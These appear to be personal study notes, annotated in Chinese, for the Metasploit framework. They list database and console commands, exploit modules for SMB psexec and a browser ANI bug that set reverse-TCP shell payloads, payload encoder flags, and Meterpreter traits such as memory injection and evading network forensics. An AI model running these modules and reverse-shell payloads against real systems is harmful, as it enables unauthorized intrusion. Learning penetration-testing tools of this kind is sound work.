msfconsole
数据库
systemctl start postgresql.service
db_status
db_rebuild_cache#已停用
msfdb reinit
db_connect
db_disconnect
db_nmap
hosts
services -S 445
creds
vulns
db_import
db_export
控制台
set
unset
setg #g --> global
unsetg
save #保存配置信息
run/exploit #生成job
show targets
set targets 34
show payloads
sessions #显示会话
sessions -i [id]
jobs/kill
load/unload/loadpath #插件加载(外部扫描器)
route #指定sessions路由
irb #开发接口
resource #类似运行1.sh resource .rc <==> msfconsole -r r.rc
Exploit模块
Active exploit：
#攻击者主动发送攻击代码，触发被攻击者的漏洞
use exploit/windows/smb/psexec
set payload windows/shell/reverse_tcp
Passive exploit:
#被攻击者客户端存在漏洞，向服务器发送请求，服务器回应攻击代码，导致客户端被攻击
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set payload windows/shell/reverse_tcp
生成payload
generate:
-b #过滤坏字符 encoder
-e #指定encoder
-t #指定输出格式
-s
NOP:
next-operation
#无任何操作，cpu直接跳转下一命令
show encoders
Meterpreter
#完全基于内存dll注入
#注入到系统进程
#基于stager建立加密的TLS/1.0通信隧道(避免网络取证)
#服务端使用c语言编写
#客户端基于ruby的全特性api
信息收集
- auxiliary/scanner